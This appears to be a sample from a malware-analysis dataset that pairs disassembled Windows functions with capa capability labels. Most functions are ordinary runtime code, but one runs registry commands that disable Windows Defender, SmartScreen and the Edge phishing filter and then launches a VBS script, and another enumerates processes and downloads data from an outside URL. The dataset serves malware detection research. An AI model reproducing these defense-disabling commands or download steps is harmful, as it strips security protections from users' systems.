joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001540
Capabilities:
Disable windows defender features via registry on windows
Execute command
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.14000ac70
lea rcx, str.REG_ADD__HKLMSoftwareMicrosoftWindowsCurrentVersionAppHost___v_EnableWebContentEvaluation__t_REG_DWORD__d_0__f__NUL_2_1
call sub.msvcrt.dll_system
lea rcx, str.REG_ADD__HKCUSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsCurrentVersionAppContainerStoragemicrosoft.microsoftedge_8wekyb3d8bbweMicrosoftEdgePhishingFilter___v_EnabledV9__t_REG_DWORD__d_0__f__NUL_2_1
call sub.msvcrt.dll_system
lea rcx, str.reg_add__HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows_Defender___v_DisableAntiSpyware__t_REG_DWORD__d_1__f
call sub.msvcrt.dll_system
lea rcx, str.resourcespython.vbs
call sub.msvcrt.dll_system
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000ae90
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140021060
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140021060
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x14000af00
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400e90c4]
mov r12, rcx
test ebx, ebx
jle 0x14000b030
mov rax, qword [0x1400e90c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000af4c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000afd3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x14000af30
mov rcx, r12
call fcn.14000b8a0
mov rsi, rax
test rax, rax
je 0x14000b052
mov rax, qword [0x1400e90c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.14000b9d0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400e90c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000b037
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000afcc
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000afe0
add dword [0x1400e90c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400e90c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000afcc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000ae90
nop dword [rax]
xor ebx, ebx
jmp 0x14000af57
mov rax, qword [0x1400e90c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000ae90
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.14000ae90
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000b510
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1400e9120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e9100]
test rbx, rbx
je 0x14000b564
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000b55b
test r12, r12
je 0x14000b55b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000b540
lea rcx, [0x1400e9120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000b8a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c1ac0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b8c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b8c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b8c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14000b915
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000b90c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000b8c0
add rax, 0x28
cmp rax, r9
jne 0x14000b8f8
xor eax, eax
ret

Function at 0x14000b920
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1ac0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000b940
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000b948
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000b940
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14000b9d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1ac0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000b9f0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000b9f8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x14000bba0
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000bbc0
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x14000bc08
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000bbb4
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14000bbf5
Function at 0x14000bd20
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x1400e9230]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x14000bd43
lea rax, [0x1400e9238]
mov ecx, 0x5f
lea rdx, str.__eh_shmem3_gcc_tdm_
lea r8, [rax + 0x15]
jmp 0x14000bd8b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x14000bd88
lea rax, [0x1400e9260]
mov ecx, 0x5f
lea rdx, str.__eh_shmem3_gcc_tdm_
lea r8, [rax + 0x14]
jmp 0x14000bdbb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x14000bdb8
xor ecx, ecx
mov byte [0x1400e9274], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x1400e927d], rdx
lea r8, [0x1400e9230]
lea rbx, [0x1400e9275]
mov qword [0x1400e928d], rdx
mov qword [0x1400e929d], rdx
mov qword [0x1400e92ad], rdx
xor edx, edx
mov qword [0x1400e9275], rax
mov qword [0x1400e9285], rax
mov qword [0x1400e9295], rax
mov qword [0x1400e92a5], rax
mov byte [0x1400e92b5], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14000bf96
lea rcx, [0x1400e9260]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x14000bee1
lea rsi, [0x1400e91a0]
lea r8, [0x1400e92b5]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x14000be8d
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x14000be80
lea rcx, [0x1400e9260]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x14000bf83
lea rcx, [0x14000bc30]
mov qword [0x1400e91a0], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1400e91a0]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x56
lea rdx, [0x1400e9260]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x1400e92b5]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x14000bfb6
nop dword [rax]
cmp byte [rax], 0x41
jne 0x14000bf33
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x14000bf20
mov rax, rdx
mov qword [0x1400e91a0], rax
lea rsi, [0x1400e91a0]
jmp 0x14000bf59
cmp rdx, rsi
je 0x14000bebf
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x14000bf50
cmp rdx, rsi
je 0x14000bebf
mov qword [rdx + 8], rsi
lea rcx, [0x14000bc30]
call sub.msvcrt.dll__onexit
jmp 0x14000bebf
lea rcx, [0x1400c04c0]
call fcn.14000bba0
xor eax, eax
jmp 0x14000bed8
lea rcx, [0x1400c0498]
call fcn.14000bba0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, [0x1400c04e8]
call fcn.14000bba0
xor eax, eax
jmp 0x14000bf3f
Function at 0x14000faa0
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x1400c1b40]
mov rax, qword [rsi]
test rax, rax
je 0x14000fb30
cmp qword [rax + 0x30], 0
jne 0x14000fb50
lea rbx, [0x1400b9088]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x14000fb00
cmp qword [rax + 0x30], 0
jne 0x14000fb20
lea rdx, [0x1400b9088]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x1400b7f70
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140014d70
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x14000fae2
test rax, rax
jne 0x14000fb20
call fcn.140014d70
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x14000faf0
call fcn.140014d70
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x14000fac0
test rax, rax
jne 0x14000fb50
call fcn.140014d70
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x14000facb
call sub.msvcrt.dll_abort
nop

Function at 0x14000fb60
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x14000fc72
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x14000fc4a
add rax, 1
cmp rax, 0x6b
je 0x14000fc67
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x14000fc40
cmp edx, 0x6a
je 0x14000fc67
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x14000fc5b
Function at 0x140014bf0
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140014c10
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140014c58
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140014c04
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140014c45
Function at 0x140014d70
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x1400e9400]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x140014d93
lea rax, [0x1400e9408]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x140014ddb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140014dd8
lea rax, [0x1400e9440]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x140014e0b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140014e08
xor ecx, ecx
mov byte [0x1400e9459], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x1400e9462], rdx
lea r8, [0x1400e9400]
lea rbx, [0x1400e945a]
mov qword [0x1400e9472], rdx
mov qword [0x1400e9482], rdx
mov qword [0x1400e9492], rdx
xor edx, edx
mov qword [0x1400e945a], rax
mov qword [0x1400e946a], rax
mov qword [0x1400e947a], rax
mov qword [0x1400e948a], rax
mov byte [0x1400e949a], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140014fe6
lea rcx, [0x1400e9440]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140014f31
lea rsi, [0x1400e9340]
lea r8, [0x1400e949a]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x140014edd
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x140014ed0
lea rcx, [0x1400e9440]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x140014fd3
lea rcx, [0x140014c80]
mov qword [0x1400e9340], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1400e9340]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x1400e9440]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x1400e949a]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x140015006
nop dword [rax]
cmp byte [rax], 0x41
jne 0x140014f83
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x140014f70
mov rax, rdx
mov qword [0x1400e9340], rax
lea rsi, [0x1400e9340]
jmp 0x140014fa9
cmp rdx, rsi
je 0x140014f0f
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x140014fa0
cmp rdx, rsi
je 0x140014f0f
mov qword [rdx + 8], rsi
lea rcx, [0x140014c80]
call sub.msvcrt.dll__onexit
jmp 0x140014f0f
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.140014bf0
xor eax, eax
jmp 0x140014f28
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.140014bf0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.140014bf0
xor eax, eax
jmp 0x140014f8f
Function at 0x14007d2f0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x14007d317
call rbp
cmp dword [rax], 4
jne 0x14007d334
mov rcx, rdi
call fcn.14007d110
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x14007d310
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001010
Capabilities:
Create http request
Enumerate processes via ntquerysysteminformation
Get system information on windows
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x450
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor edx, edx
mov dword [rsp + 0x30], 0
lea r9, [rsp + 0x30]
xor r8d, r8d
lea ecx, [rdx + 5]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov edi, dword [rsp + 0x30]
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, edi
xor edx, edx
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x30]
mov r8d, edi
mov rdx, rbx
mov ecx, 5
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jne 0x1400010b9
mov rdx, qword [rbx + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001180
mov eax, dword [rbx]
test eax, eax
je 0x1400010b9
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
add rbx, rax
mov rdx, qword [rbx + 0x40]
call fcn.140001180
mov eax, dword [rbx]
test eax, eax
jne 0x1400010a0
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov dword [rsp + 0x34], 1
xor r8d, r8d
mov dword [rsp + 0x20], 0
xor edx, edx
lea rcx, str.Default_User_Agent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x28], 0
lea rdx, str.http:__bayanbox.ir_download_1097613736731940903_Untitled11
mov rcx, rax
mov dword [rsp + 0x20], 0x400000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x34]
mov r8d, 0x400
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r9d, 0x7b
lea r8, str.SASAASSA
mov edx, 0x302c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
xor edx, edx
mov ecx, 0x46a62
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor eax, eax
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1400013f0
mov rbx, qword [rsp + 0x460]
add rsp, 0x450
pop rdi
ret
Function at 0x140002bd0
Capabilities:
Get common file path

Disassembly:
push rbp
push rsi
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp - 8], 0
lea r9, [rbp - 8]
mov rcx, rdx
xor edx, edx
xor r8d, r8d
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
je 0x140002c12
movabs rax, 0x8000000000000000
mov qword [rsi], rax
jmp 0x140002c43
mov rcx, qword [rbp - 8]
call sub.KERNEL32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.140007c80
mov rcx, qword [rbp - 8]
call sub.ole32.dll_CoTaskMemFree
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, rsi
add rsp, 0x58
pop rsi
pop rbp
ret
Function at 0x1400051a0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x498
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x410], 0xfffffffffffffffe
mov qword [rbp + 0x3f0], rcx
mov qword [rbp + 0x3f8], 0
mov qword [rbp + 0x400], 2
mov qword [rbp + 0x408], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140005240
jmp 0x14000522f
jae 0x1400052ff
cmp r8, 0x201
jae 0x140005240
mov r14d, 0x200
lea r15, [rbp - 0x60]
mov r12, r8
jmp 0x140005297
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x14000526f
lea rcx, [rbp + 0x3f8]
mov rdx, rbx
call fcn.14001e410
mov rsi, qword [rbp + 0x3f8]
mov rax, qword [rbp + 0x400]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x408], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3e8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x1400052c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140005379
mov r8d, r13d
cmp r12, r8
jne 0x140005220
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400053ad
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x14000522f
jmp 0x140005240
cmp r14, r8
jb 0x1400053c7
lea rcx, [rbp + 0x3c8]
mov rdx, r15
call fcn.140007c80
movups xmm0, xmmword [rbp + 0x3c8]
movups xmm1, xmmword [rbp + 0x3d8]
movaps xmmword [rbp + 0x3b0], xmm1
movaps xmmword [rbp + 0x3a0], xmm0
mov rsi, qword [rbp + 0x3f0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3f8]
test rdx, rdx
je 0x140005362
mov rcx, qword [rbp + 0x400]
add rdx, rdx
mov r8d, 2
call fcn.140002540
mov rax, rsi
add rsp, 0x498
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3f0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3f8]
test rdx, rdx
jne 0x14000534d
jmp 0x140005362
lea rcx, str.internal_error:_entered_unreachable_code_rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14001f2a0
jmp 0x1400053dc
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.14001f680
ud2